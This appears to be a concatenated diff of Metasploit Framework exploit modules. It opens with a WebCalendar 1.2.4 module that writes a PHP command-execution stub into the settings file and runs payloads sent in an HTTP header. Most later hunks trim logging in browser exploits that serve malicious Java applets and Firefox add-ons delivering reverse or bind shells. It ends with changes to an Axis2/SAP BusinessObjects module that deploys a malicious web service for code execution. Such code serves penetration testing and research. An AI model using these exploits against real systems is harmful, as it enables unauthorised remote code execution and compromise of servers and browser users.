[
|
||||
OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
uri << '/' if uri[-1, 1] != '/'
|
||||
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "#{uri}/login.php"
|
||||
})
|
||||
|
||||
if res and res.body =~ /WebCalendar v1.2.\d/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
uri = target_uri.path
|
||||
uri << '/' if uri[-1, 1] != '/'
|
||||
|
||||
print_status("#{peer} - Housing php payload...")
|
||||
|
||||
# Allow commands to be passed as a header.
|
||||
# We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
|
||||
post_data = "app_settings=1"
|
||||
post_data << "&form_user_inc=user.php"
|
||||
post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
|
||||
post_data << "\n"*2
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{uri}install/index.php",
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
print_status("#{peer} - Loading our payload...")
|
||||
|
||||
# Execute our payload
|
||||
send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "#{uri}includes/settings.php",
|
||||
'headers' => {
|
||||
'Cmd' => Rex::Text.encode_base64(payload.encoded)
|
||||
}
|
||||
})
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
||||
@@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
@@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
@@ -90,15 +90,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
|
||||
|
||||
if not request.uri.match(/\.xpi$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect( cli, get_resource() + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{msg} Handling request..." )
|
||||
print_status("Handling request..." )
|
||||
|
||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
@@ -106,7 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
p = regenerate_payload(cli)
|
||||
if not p
|
||||
print_error("#{msg} Failed to generate the payload.")
|
||||
print_error("Failed to generate the payload.")
|
||||
# Send them a 404 so the browser doesn't hang waiting for data
|
||||
# that will never come.
|
||||
send_not_found(cli)
|
||||
@@ -219,7 +217,7 @@ zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
|
||||
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
|
||||
</overlay>|)
|
||||
|
||||
print_status("#{msg} Sending xpi and waiting for user to click 'accept'...")
|
||||
print_status("Sending xpi and waiting for user to click 'accept'...")
|
||||
send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
|
||||
handler( cli )
|
||||
end
|
||||
|
||||
@@ -115,7 +115,7 @@ EOS
|
||||
print_status("Generating HTML container...")
|
||||
page = generate_itms_page(payload.encoded)
|
||||
#print_status("=> #{page}")
|
||||
print_status("Sending itms page to #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Sending itms page")
|
||||
|
||||
header = { 'Content-Type' => 'text/html' }
|
||||
send_response_html(cli, page, header)
|
||||
|
||||
@@ -101,7 +101,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data = ""
|
||||
host = ""
|
||||
port = ""
|
||||
peer = "#{cli.peerhost}:#{cli.peerport}"
|
||||
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
@@ -109,11 +108,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Sending #{self.name}")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
payload = regenerate_payload( cli )
|
||||
if not payload
|
||||
print_error("#{peer} - Failed to generate the payload." )
|
||||
print_error("Failed to generate the payload." )
|
||||
return
|
||||
end
|
||||
|
||||
@@ -122,17 +121,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
jar = payload.encoded
|
||||
host = datastore['LHOST']
|
||||
port = datastore['LPORT']
|
||||
vprint_status("Java reverse shell to #{host}:#{port} from #{peer}" )
|
||||
vprint_status("Sending java reverse shell")
|
||||
else
|
||||
port = datastore['LPORT']
|
||||
datastore['RHOST'] = cli.peerhost
|
||||
vprint_status( "Java bind shell on #{cli.peerhost}:#{port}..." )
|
||||
vprint_status( "Java bind shell" )
|
||||
end
|
||||
if jar
|
||||
print_status( "Generated jar to drop (#{jar.length} bytes)." )
|
||||
jar = Rex::Text.to_hex( jar, prefix="" )
|
||||
else
|
||||
print_error("#{peer} - Failed to generate the executable." )
|
||||
print_error("Failed to generate the executable." )
|
||||
return
|
||||
end
|
||||
else
|
||||
@@ -141,10 +140,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data = generate_payload_exe
|
||||
|
||||
if data
|
||||
print_status("#{peer} - Generated executable to drop (#{data.length} bytes)." )
|
||||
print_status("Generated executable to drop (#{data.length} bytes)." )
|
||||
data = Rex::Text.to_hex( data, prefix="" )
|
||||
else
|
||||
print_error("#{peer} - Failed to generate the executable." )
|
||||
print_error("Failed to generate the executable." )
|
||||
return
|
||||
end
|
||||
|
||||
@@ -154,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status( "#{peer} - sending jar..." )
|
||||
print_status("Sending jar")
|
||||
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
|
||||
@@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("#{self.name} handling request")
|
||||
|
||||
payload = regenerate_payload( cli )
|
||||
if not payload
|
||||
@@ -123,11 +123,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
jar = payload.encoded
|
||||
host = datastore['LHOST']
|
||||
port = datastore['LPORT']
|
||||
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
|
||||
print_status("Payload will be a Java reverse shell")
|
||||
else
|
||||
port = datastore['LPORT']
|
||||
datastore['RHOST'] = cli.peerhost
|
||||
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
|
||||
print_status("Payload will be a Java bind shell")
|
||||
end
|
||||
if jar
|
||||
print_status( "Generated jar to drop (#{jar.length} bytes)." )
|
||||
@@ -155,7 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status( "#{self.name} sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
|
||||
print_status( "Sending Applet.jar" )
|
||||
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
|
||||
@@ -116,13 +116,13 @@ No automatic targetting for now ...
|
||||
if (target.name =~ /Automatic/)
|
||||
case req.headers['User-Agent']
|
||||
when /Windows/i
|
||||
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Windows target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[1]
|
||||
when /PPC Mac OS X/i
|
||||
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Mac OS X PPC target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[2]
|
||||
when /Intel Mac OS X/i
|
||||
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Mac OS X x86 target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[3]
|
||||
else
|
||||
print_status("Unknown target for: #{req.headers['User-Agent']}")
|
||||
@@ -151,7 +151,7 @@ No automatic targetting for now ...
|
||||
end
|
||||
|
||||
# Display the applet loading HTML
|
||||
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML")
|
||||
send_response_html(cli, generate_html(payload.encoded),
|
||||
{
|
||||
'Content-Type' => 'text/html',
|
||||
@@ -161,7 +161,7 @@ No automatic targetting for now ...
|
||||
end
|
||||
|
||||
# Send the actual applet over
|
||||
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending applet")
|
||||
send_response(cli, generate_applet(cli, req),
|
||||
{
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
|
||||
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("#{self.name} handling request")
|
||||
|
||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
@@ -105,7 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
fd.close
|
||||
end
|
||||
|
||||
print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
|
||||
print_status("Sending Applet.jar")
|
||||
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
|
||||
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("#{self.name} handling request")
|
||||
|
||||
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
|
||||
return
|
||||
@@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
fd.close
|
||||
end
|
||||
|
||||
print_status("#{self.name} Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending Applet.jar")
|
||||
send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
|
||||
|
||||
handler(cli)
|
||||
|
||||
@@ -105,13 +105,13 @@ No automatic targetting for now ...
|
||||
if (target.name =~ /Automatic/)
|
||||
case req.headers['User-Agent']
|
||||
when /Windows/i
|
||||
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Windows target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[1]
|
||||
when /PPC Mac OS X/i
|
||||
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Mac OS X PPC target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[2]
|
||||
when /Intel Mac OS X/i
|
||||
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Mac OS X x86 target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[3]
|
||||
else
|
||||
print_status("Unknown target for: #{req.headers['User-Agent']}")
|
||||
@@ -140,7 +140,7 @@ No automatic targetting for now ...
|
||||
end
|
||||
|
||||
# Display the applet loading HTML
|
||||
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML")
|
||||
send_response_html(cli, generate_html(payload.encoded),
|
||||
{
|
||||
'Content-Type' => 'text/html',
|
||||
@@ -150,7 +150,7 @@ No automatic targetting for now ...
|
||||
end
|
||||
|
||||
# Send the actual applet over
|
||||
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending applet")
|
||||
send_response(cli, generate_applet(cli, req),
|
||||
{
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
|
||||
@@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
|
||||
print_status( "Handling request" )
|
||||
|
||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
@@ -150,9 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
jar.sign(@key, @cert, @ca_certs)
|
||||
#File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
|
||||
|
||||
print_status(
|
||||
"Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+
|
||||
"Waiting for user to click 'accept'...")
|
||||
print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
|
||||
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
|
||||
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("#{self.name} handling request")
|
||||
|
||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
@@ -107,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
fd.close
|
||||
end
|
||||
|
||||
print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
|
||||
print_status( "Sending Applet.jar" )
|
||||
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
|
||||
@@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
||||
|
||||
# Handle the payload
|
||||
|
||||
@@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
||||
|
||||
# Handle the payload
|
||||
|
||||
@@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
case request.uri
|
||||
when get_resource
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
content = "<body><script>"
|
||||
content << generate_evil_js(cli, request)
|
||||
content << "</script></body>"
|
||||
|
||||
@@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
#{html_ftr}
|
||||
^
|
||||
when get_resource()
|
||||
print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")
|
||||
print_status("Sending #{self.name} for request #{request.uri}")
|
||||
|
||||
js = %Q^
|
||||
if (window.opera) {
|
||||
@@ -168,7 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
#{html_ftr}
|
||||
^
|
||||
else
|
||||
print_status("Sending 404 to #{cli.peerhost} for request #{request.uri}")
|
||||
print_status("Sending 404 for request #{request.uri}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
@@ -106,13 +106,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
if (target.name =~ /Automatic/)
|
||||
case req.headers['User-Agent']
|
||||
when /Windows/i
|
||||
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Windows target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[1]
|
||||
when /PPC Mac OS X/i
|
||||
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Mac OS X PPC target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[2]
|
||||
when /Intel Mac OS X/i
|
||||
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Choosing a Mac OS X x86 target")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[3]
|
||||
end
|
||||
end
|
||||
@@ -139,13 +139,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
# Display the applet loading HTML
|
||||
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML")
|
||||
send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
|
||||
return
|
||||
end
|
||||
|
||||
# Send the actual applet over
|
||||
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending applet")
|
||||
send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
|
||||
|
||||
# Handle the payload
|
||||
|
||||
@@ -1,7 +1,3 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -9,39 +5,36 @@
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = ExcellentRanking
|
||||
|
||||
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
|
||||
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
|
||||
'Description' => %q{
|
||||
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
|
||||
and uploads and executes commands via deploying a malicious web service by using SOAP.
|
||||
},
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
|
||||
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
|
||||
[ 'CVE', '2010-0219' ],
|
||||
# General
|
||||
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
|
||||
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
|
||||
[ 'CVE', '2010-0219' ],
|
||||
],
|
||||
'Platform' => [ 'java', 'win', 'linux' ], # others?
|
||||
'Targets' =>
|
||||
'Platform' => [ 'java', 'win', 'linux' ], # others?
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Java', {
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
},
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
},
|
||||
],
|
||||
#
|
||||
# Platform specific targets only
|
||||
@@ -52,7 +45,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Platform' => 'win'
|
||||
},
|
||||
],
|
||||
|
||||
[ 'Linux X86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
@@ -60,10 +52,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
},
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 30 2010',
|
||||
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 30 2010',
|
||||
'Author' =>
|
||||
[
|
||||
'Joshua Abraham <jabra[at]rapid7.com>', # original module
|
||||
'Chris John Riley' # modifications
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
@@ -86,14 +82,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</description>
|
||||
<messageReceivers>
|
||||
<messageReceiver
|
||||
mep="http://www.w3.org/2004/08/wsdl/in-only"
|
||||
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
|
||||
mep="http://www.w3.org/2004/08/wsdl/in-only"
|
||||
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
|
||||
<messageReceiver
|
||||
mep="http://www.w3.org/2004/08/wsdl/in-out"
|
||||
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
|
||||
mep="http://www.w3.org/2004/08/wsdl/in-out"
|
||||
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
|
||||
</messageReceivers>
|
||||
<parameter name="ServiceClass">
|
||||
metasploit.PayloadServlet
|
||||
metasploit.PayloadServlet
|
||||
</parameter>
|
||||
</service>
|
||||
}
|
||||
@@ -110,9 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
zip.add_file("metasploit/PayloadServlet.class", servlet)
|
||||
|
||||
contents = zip.pack
|
||||
else
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
boundary = rand_text_alphanumeric(6)
|
||||
|
||||
@@ -122,15 +116,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data << "\r\n--#{boundary}--"
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{rpath}/axis2-admin/upload",
|
||||
'uri' => "#{rpath}/axis2-admin/upload",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 200)
|
||||
@@ -140,35 +134,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
=begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
puts res.body
|
||||
puts res.code
|
||||
if res.code > 200 and res.code < 300
|
||||
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
|
||||
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
|
||||
puts dir
|
||||
else
|
||||
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) )
|
||||
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
puts res.body
|
||||
puts res.code
|
||||
if res.code > 200 and res.code < 300
|
||||
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
|
||||
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
|
||||
puts dir
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) )
|
||||
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
|
||||
puts dir
|
||||
end
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
|
||||
print_status("Polling to see if the service is ready")
|
||||
|
||||
res_rest = send_request_raw({
|
||||
'uri' => "/#{rpath}/services",
|
||||
'method' => 'GET',
|
||||
'uri' => "#{rpath}/services",
|
||||
'method' => 'GET',
|
||||
}, 25)
|
||||
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
@@ -176,115 +169,155 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
|
||||
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
|
||||
data << '<soapenv:Header/>' + "\r\n"
|
||||
data << '<soapenv:Body>' + "\r\n"
|
||||
data << '<soapenv:run/>' + "\r\n"
|
||||
data << '</soapenv:Body>' + "\r\n"
|
||||
data << '</soapenv:Envelope>' + "\r\n\r\n"
|
||||
|
||||
p = /Please enable REST/
|
||||
1.upto 5 do
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
begin
|
||||
p = /Please enable REST/
|
||||
catch :stop do
|
||||
1.upto 5 do
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
|
||||
if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
|
||||
# Try to execute the payload
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{rpath}/services/#{name}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
else
|
||||
## rest
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{rpath}/services/#{name}/run",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'cookie' => "jsessionid=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
|
||||
# Try to execute the payload
|
||||
res = send_request_raw({
|
||||
'uri' => "#{rpath}/services/#{name}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
else
|
||||
## rest
|
||||
res = send_request_raw({
|
||||
'uri' => "#{rpath}/services/#{name}/run",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'cookie' => "jsessionid=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
|
||||
if not (res.code > 200 and res.code < 300)
|
||||
## rest alternative path (use altres as a 200 is returned regardless)
|
||||
altres = send_request_raw({
|
||||
'uri' => "#{rpath}/rest/#{name}/run",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'cookie' => "jsessionid=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
end
|
||||
end
|
||||
|
||||
if res and res.code > 200 and res.code < 300
|
||||
cleanup_instructions(rpath, name) # display cleanup info
|
||||
throw :stop # exit loop
|
||||
elsif res and res.code == 401
|
||||
if (res.headers['WWW-Authenticate'])
|
||||
authmsg = res.headers['WWW-Authenticate']
|
||||
end
|
||||
print_error("The remote server responded expecting authentication")
|
||||
if datastore['BasicAuthUser'] and datastore['BasicAuthPass']
|
||||
print_error("BasicAuthUser \"%s\" failed to authenticate" % datastore['BasicAuthUser'])
|
||||
elsif authmsg
|
||||
print_error("WWW-Authenticate: %s" % authmsg)
|
||||
end
|
||||
cleanup_instructions(rpath, name) # display cleanup info
|
||||
raise ::Rex::ConnectionError
|
||||
throw :stop # exit loop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if res and res.code > 200 and res.code < 300
|
||||
print_status("")
|
||||
print_status("NOTE: You will need to delete the web service that was uploaded.")
|
||||
print_status("Using meterpreter:")
|
||||
print_status("rm \"webapps/#{rpath}/WEB-INF/services/#{name}.jar\"")
|
||||
print_status("Using the shell:")
|
||||
print_status("cd \"webapps/#{rpath}/WEB-INF/services\"")
|
||||
print_status("del #{name}.jar")
|
||||
print_status("")
|
||||
break
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")
|
||||
end
|
||||
end
|
||||
|
||||
